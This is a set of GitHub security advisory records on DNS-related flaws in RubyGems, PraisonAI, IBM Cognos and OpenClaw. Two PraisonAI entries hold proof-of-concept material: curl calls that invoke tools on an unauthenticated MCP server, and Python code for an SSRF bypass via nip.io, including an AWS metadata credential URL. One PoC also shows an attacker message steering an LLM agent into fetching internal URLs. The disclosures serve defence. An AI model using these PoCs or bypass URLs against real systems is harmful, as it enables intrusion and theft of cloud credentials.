CWE-350

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-3900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-10T02:29:09Z",
    "nvd_published_at": "2015-06-24T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a \"DNS hijack attack.\"",
  "id": "GHSA-wp3j-rvfp-624h",
  "modified": "2023-03-10T02:29:09Z",
  "published": "2022-05-14T01:08:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rubygems-update/CVE-2015-3900.yml"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20170331091241/https://puppet.com/security/cve/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200228055155/http://www.securityfocus.com/bid/75482"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Attacking-Ruby-Gem-Security-with-CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "http://blog.rubygems.org/2015/05/14/CVE-2015-3900.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163502.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163600.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/164236.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1657.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/06/26/2"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinoct2015-2511968.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "RubyGems vulnerable to DNS hijack attack"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-306",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:55:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "The MCP SSE server started via ToolsMCPServer.run_sse() / launch_tools_mcp_server(transport=\"sse\")\nbinds to 0.0.0.0 by default and builds its Starlette application with no authentication middleware\nand no Origin-header validation. The module mcp/mcp_security.py provides exactly the needed controls\n(origin validation, DNS-rebinding detection, auth-header enforcement, a SecurityConfig), but none of\nthese functions are ever called by any transport \u2014 they are dead code. Any host that can reach the\nport can list and invoke every registered tool with no credentials, and a victim\u0027s browser can drive\nthe same calls against a localhost instance via DNS rebinding.\n\nAffected code: src/praisonai-agents/praisonaiagents/mcp/mcp_server.py\n- run_sse defaults host to all interfaces (line 245) and builds the app with only `debug` and `routes`\n  - no `middleware=` and no per-route auth/origin gate (lines ~271-289):\n      app = Starlette(debug=self._debug, routes=[\n          Route(sse_path, endpoint=handle_sse),                          # \"/sse\"\n          Mount(messages_path, app=sse_transport.handle_post_message),   # \"/messages/\"\n      ])\n      uvicorn.run(app, host=host, port=port)\n- launch_tools_mcp_server also defaults host=\"0.0.0.0\" (line 301).\n\nsrc/praisonai-agents/praisonaiagents/mcp/mcp_security.py defines but the transports never call:\n- is_valid_origin (line 30), is_potential_dns_rebinding (line 110), validate_auth_header (line 167),\n  SecurityConfig.is_origin_allowed (line 236). These symbols are referenced only inside mcp_security.py\n  and the __init__ re-export. (mcp_websocket.py\u0027s auth references are CLIENT-side, not server validation.)\n\nImpact:\nlaunch_tools_mcp_server(transport=\"sse\") is the documented path for exposing tools over MCP. With the\ndefaults above it is an unauthenticated, network-reachable tool-execution endpoint. Blast radius equals\nthe capabilities of the registered tools; with file/shell/code-exec tools this is RCE. With no Origin\ncheck, a malicious page the victim merely visits can rebind its hostname to 127.0.0.1 and issue the\nJSON-RPC calls cross-origin against a developer\u0027s local server.\n\nProof of concept:\nStatic proof (AST analysis of unmodified source):\n  Check 1 - run_sse(host=\u00270.0.0.0\u0027); launch_tools_mcp_server(host=\u00270.0.0.0\u0027)  -\u003e EXPOSED\n  Check 2 - Starlette(...) kwargs: [\u0027debug\u0027,\u0027routes\u0027]  -\u003e NO middleware= (no auth/origin gate)\n  Check 3 - is_valid_origin / is_potential_dns_rebinding / validate_auth_header / SecurityConfig\n            never called by any transport  -\u003e DEAD CODE\nLive exploitation against a running server:\n  curl -N http://VICTIM:8080/sse\n  #   event: endpoint  / data: /messages/?session_id=\u003csid\u003e\n  curl -X POST \"http://VICTIM:8080/messages/?session_id=\u003csid\u003e\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\n         \"capabilities\":{},\"clientInfo\":{\"name\":\"x\",\"version\":\"1\"}}}\u0027\n  curl -X POST \"http://VICTIM:8080/messages/?session_id=\u003csid\u003e\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"\u003ctool\u003e\",\"arguments\":{...}}}\u0027\nNo Authorization header anywhere. Browser DNS-rebinding variant drives the same calls cross-origin.\n\nRemediation:\nWire in the existing mcp_security.py controls and fix defaults:\n- Default run_sse(host=\"127.0.0.1\"); require explicit opt-in to bind 0.0.0.0.\n- Attach Starlette middleware calling is_valid_origin / is_potential_dns_rebinding; reject bad origins.\n- Enforce validate_auth_header when SecurityConfig.require_auth; default require_auth=True (and\n  allow_missing_origin=False) for any non-loopback bind.\n\nDistinct from prior advisories:\nThe accepted MCP advisories are tool-handler bugs \u2014 tools/call path traversal -\u003e .pth RCE\n(GHSA-9mqq-jqxf-grvw) and unauthenticated file read via workflow.show/validate (GHSA-9cr9-25q5-8prj).\nThis is a transport-layer missing-auth/exposure: the SSE server never enforces auth or Origin validation\nand ignores the security module the codebase ships. Closest in spirit to the default-insecure pattern\n(GHSA-8444 / 86qc) but a different server and a different root cause (unwired controls, not an unset env var).",
  "id": "GHSA-x227-pf99-vffg",
  "modified": "2026-07-20T21:25:09Z",
  "published": "2026-06-18T13:55:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x227-pf99-vffg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:37:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function\n`_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname\naliases, but **never performs DNS resolution**. Any hostname that resolves to a private or\nloopback IP address \u2014 including public wildcard DNS services like `127.0.0.1.nip.io` \u2014\nbypasses the protection entirely.\n\nThis has been **confirmed with a live exploit**: `scrape_page(\"http://127.0.0.1.nip.io:PORT/secret\")`\nmakes an HTTP request to `127.0.0.1:PORT` and returns the internal service response.\nNo attacker-controlled infrastructure is required.\n\n`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as\nLLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed\nto fetch a user-supplied URL will trigger this path.\n\nThis is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only\nrejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to\n`web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not\nported to `spider_tools.py`.\n\n### Details\n\n**Root cause \u2014 `spider_tools.py` lines 26-65:**\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n    host = hostname.lower().rstrip(\".\")\n    # Checks literal aliases only \u2014 never resolves\n    if host in (\"localhost\", \"0.0.0.0\", \"::1\"):\n        return True\n    if host in (\"169.254.169.254\", \"metadata.google.internal\"):\n        return True\n    if any(host.endswith(s) for s in (\".local\", \".internal\", \".localdomain\")):\n        return True\n    # Tries to parse as IP literal only\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))\n    except OSError:\n        pass\n    return False   # \u003c-- ANY real hostname passes without DNS lookup\n```\n\n`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real\nhostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()`\nraise exceptions, and the function returns `False` (not blocked).\n\n**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**\n\n```python\nif os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n    try:\n        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed\n        ip = ipaddress.ip_address(ip_str)\n        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:\n            continue  # BLOCKED\n    except socket.gaierror:\n        continue  # fail-closed\n```\n\n**Tool registration confirms this is user-reachable:**\n\n```python\n# praisonaiagents/tools/__init__.py lines 51-55\nTOOL_MAPPINGS = {\n    \u0027scrape_page\u0027:   (\u0027.spider_tools\u0027, None),  # \u003c- user-reachable LLM tool\n    \u0027extract_links\u0027: (\u0027.spider_tools\u0027, None),\n    \u0027crawl\u0027:         (\u0027.spider_tools\u0027, None),\n    \u0027extract_text\u0027:  (\u0027.spider_tools\u0027, None),\n    ...\n}\n```\n\nAny agent given these tools will call `scrape_page(url)` when instructed to fetch\na user-supplied URL \u2014 including attacker-controlled ones.\n\n### PoC\n\n**Environment:** Python 3.x, `praisonaiagents \u003c= 1.6.52`, internet access (for nip.io)\n\n**Step 1 \u2014 Verify the filter bypass (no network needed):**\n\n```python\nfrom praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked\n\n# nip.io: public wildcard DNS \u2014 127.0.0.1.nip.io always resolves to 127.0.0.1\nprint(_host_is_blocked(\"127.0.0.1.nip.io\"))                        # False \u2014 NOT blocked\nprint(SpiderTools()._validate_url(\"http://127.0.0.1.nip.io/\"))      # True  \u2014 ALLOWED\nprint(_host_is_blocked(\"127.0.0.1\"))                                # True  \u2014 correctly blocked\n```\n\nExpected output:\n```\nFalse\nTrue\nTrue\n```\n\n**Step 2 \u2014 Full SSRF: internal service response exfiltrated**\n\n```python\nimport threading, time, requests\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom praisonaiagents.tools.spider_tools import SpiderTools\n\nPORT = 19235\nreceived = []\n\nclass InternalService(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\u0027{\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027)\n        received.append(self.path)\n    def log_message(self, *a): pass\n\nthreading.Thread(\n    target=HTTPServer((\"127.0.0.1\", PORT), InternalService).serve_forever,\n    daemon=True\n).start()\ntime.sleep(0.2)\n\nattack_url = f\"http://127.0.0.1.nip.io:{PORT}/secrets.json\"\n\n# Filter allows it\nassert SpiderTools()._validate_url(attack_url) is True  # passes\n\n# HTTP request actually reaches 127.0.0.1\nr = requests.get(attack_url, timeout=5)\nprint(\"STATUS:\", r.status_code)    # 200\nprint(\"BODY:  \", r.text)           # {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nprint(\"HIT:   \", received)         # [\u0027/secrets.json\u0027]\n```\n\nObserved output:\n```\nSTATUS: 200\nBODY:   {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nHIT:    [\u0027/secrets.json\u0027]\n```\n\n**Step 3 \u2014 Agent-level trigger (how a user triggers this in production):**\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools import scrape_page\n\nagent = Agent(\n    name=\"WebResearcher\",\n    instructions=\"You are a research assistant. Fetch and summarize the given URL.\",\n    tools=[scrape_page],\n)\n\n# Attacker sends this message to the agent:\nresult = agent.start(\"Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin\")\n# Agent calls scrape_page(\"http://127.0.0.1.nip.io:8080/admin\")\n# Request hits 127.0.0.1:8080/admin\n# Internal admin panel content returned to attacker\nprint(result)\n```\n\n**Additional bypass URLs (no setup required):**\n\n| Target | URL |\n|--------|-----|\n| Localhost | `http://127.0.0.1.nip.io/` |\n| Private network | `http://10.0.0.1.nip.io/` |\n| AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery (SSRF) \u2014 full read SSRF with\narbitrary port access.\n\n**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`,\n`extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This\nincludes:\n\n- **Web research agents** (the primary intended use case for spider tools)\n- **Jobs API users** \u2014 any authenticated API caller who submits jobs with `agent_yaml`\n  specifying spider tools\n- **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching\n  `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/`\n  may return temporary IAM credentials, leading to full cloud account compromise.\n\n**Severity note:** This is a patch-gap variant. The SSRF protection was correctly\nimplemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses.\nThe DNS resolution check was added to `web_crawl_tools.py` but was missed in\n`spider_tools.py`, creating an exploitable inconsistency.\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nOne-line fix in `_host_is_blocked()` \u2014 mirror what `web_crawl_tools.py` already does:\n\n```python\n# After existing literal checks, add:\ntry:\n    resolved = socket.gethostbyname(hostname)\n    return _ip_blocked(ipaddress.ip_address(resolved))\nexcept (socket.gaierror, ValueError, OSError):\n    return True  # fail-closed: unresolvable host is blocked\n```",
  "id": "GHSA-x44h-65qv-cw74",
  "modified": "2026-08-25T14:38:47Z",
  "published": "2026-08-25T14:37:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x44h-65qv-cw74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-22364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T19:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 is vulnerable to external service interaction attack, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability to induce the application to perform server-side DNS lookups or HTTP requests to arbitrary domain names. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with.  IBM X-Force ID:  220903.",
  "id": "GHSA-x6jr-wrhc-h2x2",
  "modified": "2024-05-03T21:30:29Z",
  "published": "2024-05-03T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22364"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/220903"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7149876"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:58:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBrowser SSRF hostname validation could be bypassed by DNS rebinding.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nBrowser navigation policy could validate a hostname/IP resolution that differed from the address Chromium ultimately used, allowing DNS rebinding style SSRF pivots.\n\n## Technical Details\n\nThe fix tightens strict browser hostname navigation so unallowlisted hostname URLs fail closed under restrictive policy.\n\n## Fix\n\nThe issue was fixed in #64367. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `121c452d666d4749744dc2089287d0227aae2ed3`\n- PR: #64367\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
  "id": "GHSA-xq94-r468-qwgj",
  "modified": "2026-05-12T13:35:04Z",
  "published": "2026-04-17T21:58:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xq94-r468-qwgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/64367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/121c452d666d4749744dc2089287d0227aae2ed3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-dns-rebinding-ssrf-via-hostname-validation-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Browser SSRF hostname validation could be bypassed by DNS rebinding"
}